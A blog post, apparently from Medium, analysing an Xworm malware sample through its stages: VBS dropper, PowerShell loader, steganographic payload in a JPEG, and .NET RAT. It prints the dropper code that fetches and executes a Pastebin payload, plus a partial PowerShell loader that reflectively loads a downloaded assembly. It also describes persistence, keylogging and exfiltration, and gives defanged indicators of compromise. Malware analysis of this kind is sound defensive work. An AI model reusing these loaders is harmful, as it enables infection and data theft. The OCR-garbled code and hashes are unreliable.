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Malware Analysis — Xworm
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Xworm is a type of malware that spreads through removable drives , such as USB flash drives , infecting

Windows systems and potentially stealing information or allowing remote access.
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Database Entry

Intelligence OGS YA File information Comments Actions =

SHAZ56 hash: () 4BabbT29cddd3419bbadd0dd974a668d2 16d 551 3556d455bbdT0dd 3620723573

SHA3-384 hash: (D 98d9c7d Tfa16ecd8b 1 fefTa83fd T 66ecE6e1 7205975108 d aedd 53580067 2304 0eb2 Sdbebd 13b Sebbab2 Sdfe24b61
SHAT hash: 0 5804d672d21191Hb310a3507e2cTi4cf 3037101

MDS hash: A 032c20c 1686230300683 2c0ebe3db0dae

humanhash: D floar-nugby-connecticut-delaware

File name: 45673635.vbs

Download: @ downlead sample

Signature © st | 3 Alert -

File size: 934 bytes

First seem: 2024-02-20 15:35:48 UTC

Malware Bazaar Sample

As always, this sample has been downloaded and extracted using the password ‘infected.’ At first glance, it

seemed like a simple deobfuscation task, but I later found out that it is a multi-stage malware.

Press enter or click to view image in full size

[ stabbT25e 4 TI3ETabs € |
1
2 HFunction Tightnesses (Preferment)
G Tightnesses = Chr(Preferment}
4 End Function
5
6 = Function galiciano({ferida)
iy Set acautelar = CreateObject ("MSXMLZ.ServerXMLHTTE")
8 acautelar.Open "GET", ferida, False
9 acautelar.Send
10 lisolagem = acautelar.ResponseText
ST TR |- galiciano = lisolagem
12 End Function
13 ingre = "https://past" & Tightnesses(101) & "bin.com/raw/G9zY5tnh"
14 monofobo = galicianc (ingre)
1058 L ExecuteGlobal moncofobo
1@

Stagel — Obfuscated VBS code

This seemed like a simple deobfuscation where the first function returns the character associated with the
specified ASCII code. In this example, it was the letter ‘e’, which is used to build the final URL and execute the
context of that URL.
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i Sbbaddi-iddTAa068d21 6551355 bbdTOdd3elbT23573.vbs E3 Bnml E]l

I |EFunction ConvertAsciiToChar (asciiCode)
7 ConvertAsciiToChar = Chr {asciiCode)
End Function

5 |BFunction FetchUrlContent (url)

6 Set xmlhttp = CreateObject ("MSXML2.ServerXMLHTTE")
7 ¥xmlhttp.0Open "GET", url, False

xmlhttp.Send

responseText = xmlhttp.ResponseText

10 FetchUrlContent = responseText

Ll End Function

3 url = "https://pastebin.com/raw/G9z¥5tnh"
responseContent = FetchUrlContent (url)

ExecuteGlobal responseContent]

ety = =
[y Y =

Stagel — Deobfuscated VBS code

Press enter or click to view image in full size

8] 48abb729c4dd3410bbaddD4d074a668d21...  2/20/2024 5:19 PM VESeript Script File 1KB
B 422bb729c4dd2419bbad d04d974a668d21...  2/20/2024 719 P WinRAR ZIP archive 1KB
7 out ile 13KB

erage Speed
load Upload

CURL to get that Stage 2

The second stage appeared more obfuscated than the first. I noticed keywords such as “WScript” , “~-window” ,

and what seemed like “execution policy bypass”.

Press enter or click to view image in full size

[ZEX: & seismadanenr v clll] Hex ©
, simplificativo , lum ama , implorador
" & luminosidade & calei & 1 3
= Beplacel mipolificac Luzio; + calei + luminosidade , "27)
icative & "'v
<
== )
Ve B fle enth 1282 bnes: 20 n:i Celil Pos: 12610 Windows ICRLR) UTF-3 3

Stage 2 — Obfuscated
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Given the length of that file, I have decided that it will be more effective to launch the code and check for new

processes.
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BB Process Monitor - Sysinternals:

. FYSINtEm:

File Edit Event Fiter Tocls Options Help

EBEHIIIRIMITVAG@LELE£ O 7| 0 -2E

B Process Tree ] =

[[] Only show processes still running at end of current trace

Wrtaskhg [ Timelines cover displayed events only

.. - DilHog
. W DIHog Process Description Image Pzth Lfe Time Compary Owner Comr ™
:2.. 7 DilHos 4 VBoxTray exe (5664) VitualBox Guest .. C:\Windows\Syst... FLAREWMibar "M
.. M- DilHag = i msedge exe (5340) Microsoft Edge C:\Program Files (... FLAREVM bar "CAP
. e @ msedoe exs (5375) Micwosoft Edge  C:\Program Files [.. FLAREVM'ber TP
e T:DﬂHuq emaedge.exe (B136) Microsoft Edge C:\Program Files (... FLAREWM"bar “CAP
3. DiiHod L msedge exe (2524) Micosoft Edge  C:\Program Files (... FLAREWM bar “CAP
2. W DiHog (L meedae exe (4412) Microsoft Edge C:\Program Files (... FLAREWM'bar TP
-2 .. - DilHog Emsedge.a:e {5336) Microsoft Edge C\Program Files {... FLAREWM bar TP
2 - DilHod [ notepades.axe (7148) Matepad++ C:\Program Files'.... FLAREWMbar  "CoP
’“m = B Procmon exe (440) Process Montor  C:\Tools'syzintem... i sww... FLAREVM bar “EAT
~ ' DiHos Process Mombor  C:\Users'barvigp.. FLAREVMbar "Gl
G :_:gx =) . W Seript exe (1512) Vicroselt © Wind... C\Windows\Syst... Microsoft Comorat... FLAREVMbar  "C:u
s T St WWindows PowerS...
. H oas .
{£yGoogleCrashHandlerb4 exe (B072 L L NT AUTHORITY ... “C\P
MpCmdRun exe (1256} Micnosoft Mahware.... C:\Program Files'... .. NT AUTHORITY .., "CAP
¥

Description:  Windows PowerShell

Company:  Microsoft Corporation

Path: CAWindows\Systern3 A WindowsP owerShello .0 powershell.exe

2999 Command:  "C\Windows\System3Z\WindowsPowerShellwl.Dpowershell.exe’ | windowistyle hidden -exec |
7:33:2.. Weservie! User FLAREVM\bar

Showing 78.2279] pipy; 4788 Started:  2/20/2024 T:33:20 PM

Exited: /2002024 7:33:21 PM

| GoTofvent | | IncludeProcess | | IncludeSubtres |

ProcMon — PowerShell was executed under the VBS

Press enter or click to view image in full size

SR | - [~ ] = ] Lt |

1 —ccamand

Vsl Baric e Tenth 6278 finesz tn:l Col:bzi2 Selz 1011 Windows (CRUF UTF-3 3

First PowerShell code

Press enter or click to view image in full size
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| e e 3

~windoustyle Iuddan —executi oup.ulu,y bypass —Noprofile —comnand '

Second PowerShell code

It seemed like the second PowerShell script is directly related to the first one , essentially being the decoded
version of the first. After some cleaning of the code it was pretty clear what this code does.

Press enter or click to view image in full size

function DownloadDataFromLinks {
param ([string[]]$links)
SwebClient systcrr Net.WebClient
$shuffledlinks = wdom -InputGbject $links -Count $links.Length
foreach (§link in $shu!£1=d.h.ntsl {
try {

return $webclient.DownloadData($link)

}
catch {

centinue
}

return $null

1

§links = B(' dd
$imageBytes = DownloadDat: aFromLmk_ $links

[-if (§imageBytes -ne $null) {

$imageText = [:y;ka-n Text .Encoding] : :UTFE.GetString ($imageBytes)
$startrlag = BASEGY v;

$endFlag = '
$startindex = s!."ngﬂnx.t Indexof ($startFlag)
SendIndex = §imageText.Index0f ($endFlag)

if ($startIndex -ge -and §endIndex -gt §startIndex) {
$startIndex += $startflag.length
$basebdLength = jendIndex - $startiIndex
$base6dcommand = §imageText. =ub=,tr nq(sscarundex, $baseé4Length)
s:om\mday:ls = [System.Convert]::FromBaseédstring ($baseédCommand)
1y = [System.Ref I : :Load {$commandBy tes)
$typ| = $loadedAssembly.GeTTy] V]

BUTCM: )
Smethod = $type.GetMethod(' VAT '} . Invoke ($null, [object[11{'tx

=1

Clean PowerShell code

This PowerShell script downloads data from a list of URLSs. It searches for a section in the downloaded data

enclosed by <<BASE64_START>> and <<BASE64_END>> flags , assuming this section is base64-encoded data
The script decodes and loads this data as a .NET assembly , expecting it to contain a method named “VAI” that is

then invoked with specific parameters. I once again used curl to access these URLs and observe their content

Press enter or click to view image in full size

| ot

| outd

B Select Administrator: C:\Windaws\System3emd.exe

foriginallf

CURL to the given URLs
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Bl HxD - [CAUsers\bar\Desktop\Mew foldef\out2]

8 File Edit Search View Analysis Tools Window Help
1 &~ | BoH a~ixd 6 || Windows [ANS]) » | hex w

we| out?
Offset (h) 00 01 02 03 04 05 06 O7 08 09 QA OB OC OD OE OF Decoded text
00000000 [FF D8 FF EO 00 10 4A 46 49 46 00 01 01 00 00 01
00000010 00 Ol 00 00 FF FE 00 3B 43 52 45 41 54 4F 52 34 ....¥b.;CREATOR:
00000020 20 €7 &4 2D 6A 70 65 &7 20 76 31 2E 30 20 28 75 gd-jpeg vl1.0 (u
00000030 73 €9 6E €7 20 49 4A 47 20 4A 50 45 47 20 76 36 sing IJG JPEG vé
00000040 32 29 2C 20 71 75 61 €C 69 74 79 20 3D 20 39 35 2), gquality = 95
00000050 O0a FF DB 00 43 00 03 02 02 03 02 02 03 03 03 03 .¥0.C.....uvuunn
00000060 04 03 03 04 05 08 05 05 04 04 05 0& 07 07 06 08 ...vuierivncnenens
00000070 OC OA OC OC OB OA OB OB 0D OF 12 10 OD OF 11 OF  .....cuiencnenens
00000080 OB OB 10 16 10 11 13 14 15 15 15 0C OF 17 18 16 ...vuivnenencnans
00000090 14 18 12 14 15 14 FF DB 00 43 01 03 04 04 05 04 ...... L TR
Q000O00DAQ 05 09 05 05 09 14 OD OB OD 14 14 14 14 14 12 19 ..uivuivnirnrnnnnns
000000BO 14 14 14 14 14 14 14 14 14 14 14 14 14 14 12 19 .vuvuivnrnrnnnnns
000000CO 14 14 14 14 14 14 14 14 14 14 14 14 14 14 18 19 .vuvuivnrnrnnnnns
000000D0 14 14 14 14 14 14 14 FF €0 00 11 08 ......ovuvnn T
000000EQ 03 01 22 00 02 11 01 03 11 0L FF C4 .DPowea™aea s 73
000000F0 0O 01 05 01 01 01 01 0L 01 G0 00 00 00 .cuwiwiwsibmmman
00000100 00 01 02 02 04 05 06 07 08 09 0B OB FF  ....ovvvucucnnn 7
00000110 10 00 02 01 03 03 02 D4 03 05 05 04 04 BA.p......ocvueon.
00000120 il D 0L 02 03 00 02 11 05 12 21 31 421 06 ...}.ecuucacn 11A.
00000130 13 51 61 07 22 71 14 32 81 91 Al 08 23 42 Bl C1  .Qa."q.2.'j.#Bid
00000140 15 52 D1 FO 24 33 &2 72 82 05 QA 16 17 18 19 12 .RENA&S3br,.......
00000150 25 26 27 28 29 24 34 35 36 37 38 30 3A 43 44 45 %g' () *456789:CDE
00000160 46 47 48 49 4A 53 54 55 56 57 58 53 SA €3 64 65 FGHIJSTUVWXYZcde
00000170 66 &7 68 €9 6A 73 74 75 7€ 77 78 75 ThA 83 B4 55 fghijstuvwxyzf..
00000180 86 87 88 89 8A 92 93 94 95 96 97 98 99 92 AZ A3 T RS Te—mEeE
00000190 A4 A5 A6 A7 AB A% AA B2 B3 B4 BS B6 BT BS BY BA HE!§ ®="pg-, 2°
000001A0 C2 C3 C4 C5 C6 C7T CB C% CA D2 D3 D4 D5 Dé D7 D ARAAFCEEEGGOOO=g
000001B0 DS DR E1 E2 E3 E4 E5 E6 E7 ES E9 EA F1 F2 F3 F2 UUad333xgestefiodd
000001CO F5 Fe F7 F8 F9 FA FF C4 00 1F Ol 00 03 01 01 01 &é<puadd........
00000100 01 CL 01 01 01 O1 00 00 00 00 00 00 OL 02 03 04 .vuvevivnvnnnnns
[aTalalalathdal OE _MeE T _ng non Nd_ ne TT A (O = N =S W RO o Y o TR e O o T NN o e FPT am

Offzet(h): 0 Block(h): 0-9 Length(h): A

"FF D8" indicates the start of a JPEG file

Based on its content and the file header, I assumed that it’s a genuine JPEG. I then started looking for the flags
<<BASE64_START>> and <<BASE64_END>>, and indeed , they were found at the end of the file. This

technique is called steganography , which involves embedding content within a file.

Press enter or click to view image in full size
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ol HxD - [CAUsers\barDesktop\Mew folder\out2]

[ File Edit Search View Analysis Tools Window Help

@~ B @~i=916  [v| Windows (aNS) 1| hex ~
] out?
Offsec(h) 00 01 02 03 04 05 06 07 08 05 OA OB OC OD OE OF Decoded texc
000F4270 34 D2 78 E0 1A AB 62 D4 74 2F 11 C3 15 0D EC 72 40xa.«"0t..A. .1z
0Q0F4280 53 5C 86 €2 40 C7 7C OE 94 83 AF A5 3B AS 23 37 S\tbEG|."§f ¥;¥§7
QO0F4290 A& C3 D2 98 C9 1C 53 B3 41 CF 6A AE CC 92 74 61 “ROOE.5*AIi®isca
QOOF42A0 11 DA CT SF 7C 54 84 77 ED 50 ED 3B 87 15 36 72 .ﬁg?ITNWLEi:=.EI
0Q0F4280 SE 95 5D 48 7E 42 53 E3 E5 41 EF 4C AT 06 DB EE >°]H~§5§aAiLS.E;Ti
O00F42C0 07 34 D8 8% 76 8E FC SE BC 50 5B FO A6 %7 CB E3 . 4f%viGZWP[&!-E3
000F42D0 BD 33 34 AC 4B 62 C8 72 BE 98 A8 54 1C 91 D4 OF 3<34-KbErk~"T. ‘0.
000F42E0 4A 53 76 54 D2 60 B8F 63 4C 03 39 A6 SE B4 EC 52
0Q0F42F0 30 CD 34 50 C3 CO 34 C2 3A 94 91 BA 1A €3 E4 55
00QF4300 58 OF FF Do [BC 3C 42 41 53 45 36 34 SF 53 54 44|
0Q0F4310 EE 54 3E 3§ §4 S6 71 E1 41 41 4D 41 41 41 4] 45
O0Q0F4320 41 41 41 41 2F 2F 38 41 41 4C 87 41 431 41 41 41
QQQF4330 41 41 41 41 51 41 41 41 41 41 21 41 431 41 41 41
0Q00F4340 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
000F4350 41 41 41 41 41 41 41 41 41 41 41 41 41 431 41 41
000F4360 41 41 41 41 §7 41 41 41 41 41 34 66 75 67 34 41 ARARGRARRAAFug4d
O00F4370 74 41 6E 4E 49 62 67 42 54 4D 30 65 56 47 68 70 tAnNIbgBTMOhVGhp
QQOF4380 o3 T 42 77 €3 ©D 38 €E €3 €D 40 T4 49 47 4E ©f cybwemincmEtlIGHD
QQOF4390 62 €D 35 76 64 43 42 €% S5A 53 42 79 64 57 34 67 bmSwdCELiZSBycdWdg
QOOF43A0 61 57 34 €7 52 45 38 54 4% 47 31 T6 S5A 47 55 75 aW4gRESTIGLvIGUu
QOOF43B0 44 51 30 4B 4R 41 41 41 41 41 41 41 41 41 42 51 DQOKJRARABARAARD
O00F43C0 52 51 41 41 54 41 45 44 41 4FE 56 5S4 78 32 55 41 ROARTAEDRNVEy2UA
000F43D0 41 41 41 41 41 41 41 41 41 4F 41 41 41 §% 45 4C ARARARARRORARIFL
000F43E0 41 56 41 41 41 44 5S4 54 41 41 41 & 41 51 41 41 AVAAADZTAAARMQAOL
O00F43F0 41 41 41 41 49 6C 52 54 41 41 41 67 41 41 41 41 ARAATIRTAAAQAARR
OO0F4400 59 46 4D 41 41 41 41 41 45 41 41 &7 41 41 41 41 YFMAARAAFARQAARD
QOOF4410 41 E7 41 41 42 41 41 41 41 41 41 41 41 41 41 45 AgARBAAARMRARAANANE
QO0F4420 41 41 41 41 41 41 41 41 41 41 44 41 56 41 41 41 ARARARAARBADAVARD
QQ0F4430 41 €7 41 41 41 41 41 41 41 41 4D 41 51 4% 55 41 AgAARRARAAMAOTUA
0Q00F4440 41 42 41 41 41 42 41 41 41 41 41 41 45 41 41 41 ABARAARRAARARFAAT
Offset(h): F4304 Block(h): F4304-F4313 Lenathih): 10

Press enter or click to view image in full size
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Bl HxD - [CHU sershbariDesktop\Mew folder\out2]

Ed] File Edit Search View Analysis Tocls Window Help

DR ~H|EY @ ~f= 6 || Windaws (ANSI) | hex ™

W outd

Offset(h) 00 01 02 03 04 05 06 07 08 0% CA 0B OC 0D 0E OF Decoded text
O0TFBCL0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAARARARAARAAR
Q0TFBC20 41 41 41 <1 41 41 41 41 41 41 41 41 41 41 41 41 ARAARAARARARARAR
O0TFBC30 41 41 41 $1 41 41 41 41 41 41 41 41 41 41 41 41 ARAARAARARARARAR
OOTFBC40 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAARAARAAAAAAAAD
O0TFBCS0 41 41 41 41 41 431 41 41 41 41 41 41 41 41 41 41 AAARAARAARAARAAD
OOTFBCED 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AABAARAAARAARAAR
QOTFBCTO 41 <1 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAADARAAADAAAADAD
QOT7TFBLC30 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAARMABAAARAAAAR
QQT7FBLCS0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAMABAAARAAAR
QOTFECAD 41 <41 41 41 41 41 41 41 41 41 41 41 <41 41 41 41 AAAAAAAARRARAAAAR
QOT7TFBCBO 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAADRAAMRRARAAAR
QOT7FBLCCO 41 <41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAABAAARARAR
QQ7FBCDO 41 41 43 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAARAABAAARARRD
O0TFBCEC 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAARRARRAARAAD
QOT7FBCFO 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAADADAAARDARAAAT
OO7FBDOO 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAARAARAARAARAAL
QO7TFBD10O 41 <41 4] 41 4] 41 41 41 41 41 41 41 41 41 41 41 AAADADAGAADRALORG
O07FBD20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAARRRRRAARAAR
OOTFBD30 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAARARARAARAAR
Q07FBD40 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AMRARDARARLARALG
OOTFBDS0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAARARAAAAAR
O0TFBDED 41 <41 41 ¢1 41 41 41 41 41 41 41 ¢1 91 <41 41 ¢1 AAAAARARARALARAR
O0TFBDTO 41 41 41 €1 41 41 41 41 41 41 41 41 41 41 41 41 ARAAARARRRARARAR
QOTFEDE0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ARARMAMANAARADAAD
O0TFBDS0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ARARARAAMRAAAAAD
O0TFBDRO 41 41 41 41 41 41 41 41 41 41 41 41 491 41 41 41 AARARRIRARARRAAR
QOT7TFBEDB0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 3D AAAARAAMAAAAARA=
Q0TFBDCO  3C 3C 42 41 53 45 36 34 5F 45 4E 44 3E 3E <<BRASE64 END»>

Offset{h): F43B9

Finding the Base64 embedded within the JPEG

Press enter or click to view image in full size

Oparations Recipe B + O35 @ =
. AL/ /8AAL £a
§ @1
T Fross asess SRS R———
From 80O Mohatet pret
A-Za-10-94/= = B Remove non-alphabet chars
From Base BN
wenlyYutid
From Base32 [ strict mode:
From Baseds iy i i
SABTATHAEAC 2 " SgEALAKCL
From Basess % o =
1gSRAANC 258
From Bases2
OLBIABAAREC LBSRARKCHeD i IQRAACAABERAGAA
From Basetd o s30ganaBCisa
—rnan =1 @ Tt e v
From Basets
Output # BDm::
From Binary
From Beaile
From Quoted Printabla
Favourites *

Data format
Eneryption / Enceding
Public ey

Arithmatic / Logic

STEP e
Networking Auto Bako
- 55157 2 © st T b Btes w0

Decoding the Base64 using CyberChef

Get 0xMrMagnezi’s stories in your inbox

Join Medium for free to get updates from this writer.
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Remember me for faster sign in

The decoding was successful , resulting in a new EXE file. This file , written in .NET , was then opened in
DNSPY for debugging. Inside , a persistence technique was discovered , where the program adds itself to a

registry key that runs it every time the system starts up.

Press enter or click to view image in full size

Persistence technique

Press enter or click to view image in full size

g caminhovbs, string namevbs, string netframework, string native)

caminhovbs,

3), (netframework ??

The main Function — “VAI”, that is being invoked by the previous PS

It’s the downloader function. It reverses the first string it receives and attempts to download its content.
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Mame - Date modified Type Size
@ 48abb729c4dd3419bbadd04d974a668d21...  2/20/2024 5:19 PM WBScript Script File I KB
B8 432bb729c4dd3419bbadd04d974a668d21...  2/20/2024 .13 PM WinRAR ZIP archive 1 KB
8 download.exe 2/20/2024 8:08 Application 5,399 KB
| | out 2/ File 13KB
| out2 2/20/2 File 8,176 KB
| out3 2/20/2 File 8176 KB
| outd 2/20/2024 8:4 File 47 KB

Bl Administrator: CAWindows\System32\cmd.exe

Upload Total
B ©:006:14 0:60:14

Downloading from the URL

Press enter or click to view image in full size

Operations Recipe oamF

from ba Reverse u

From Ba

Character

1am Ba

From Base6d u

From BasedS

From Ba

From Base62

From Basot!

Data format
Encryption / Encoding
Public Key

Arithmetic / Logic

stepr I BAKE! )

Netwarking - I o Bake

Reversing and decoding From Base64 — Output is EXE once again

This is the actual Xworm. Inside , there were some functions related to keyloggers , persistence , sockets etc.
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Key Logger functions (GetKeyState / GetKeyboardLayout etc..)

Press enter or click to view image in full size
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- 4 v ThisPC + LocalOak (G + Users » bar + agplats > Boaming +

*  Hame Dute madified

s Croick seeess

B Deitep u:::

& Downivads it it

3 Documents & P

& Purees S Hobepats =

B Music - S
Hew foldpe Visual Studis Setup
Syatem32 WinRAR

 vitens {7 downloadlene

E Thapc

B 10 Objects

B Ceiktep

4| Decuments

& Downioads

It Bunic

= Parures

B vitens

trxts = fnvironment.Getfolderfath(Emirenment.Speefalfalder,  — bocl Dakill
t C t { T 1 =705 & CD Drie (O] Wir

Fnems

Adding itself to AppData and Startup folder

Press enter or click to view image in full size

Settings.Host = Conversions.ToString(AlgorithmAES Decrypt(Settings.Hast)):
.Port = Conversions.ToString(AlgorithmAES.Decrypt(

00 % -

Locals

MName

returned

Decrypting its doing

Press enter or click to view image in full size
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ClientSocket.S = new Socket(AddressFamily.InterMetwork, SocketType.Stress, ProtocolType.Tep):

. imfa(}}} '

al)

Information about the system being sent over Socket
I0GCs:

e hxxps://uploaddeimagens[.]Jcom[.]br/images/004/739/227/original/new_image.jpg?1707826222
o hxxp://45[.]174[.]119[.]184/xampp/bkp/vbs_novo_new_image[.ljpg
 hxxps://wayoutkwt[.]Jcom/bk/fexrw[.]txt

e hxxps://pastebin[.]com/raw/G9zY 5tnh

o febxworm39090[.]duckdns|[.]org

o 45[.]74[.]19[.]84

e 85673635.vbs — 032c2¢c1862303d06832c0ebe34b9dae

e PROJETOAUTOMACAO.VB1.dll — ce91eb459e4f6a9e2871088d855cd211
o febxworm39090.exe — 1a2b23fd06525561826e61fc104b66d0

e vbs_novo_new_image.jpg — ddb09774c5a870c73cf0cf71e6d97d3e

e output.273230999.txt — 983865b130c91b9b3a36d488afbdd1bd

In conclusion , Xworm is a sophisticated malware targeting Windows systems. It employs advanced evasion
techniques like polymorphism , multi-staging and anti-debugging mechanisms , making detection and analysis
challenging. Xworm also uses steganography to conceal its malicious code within innocuous files , further

complicating its identification.

Source: https://medium.com/@b.magnezi/malware-analysis-xworm-80b3bbb072fb
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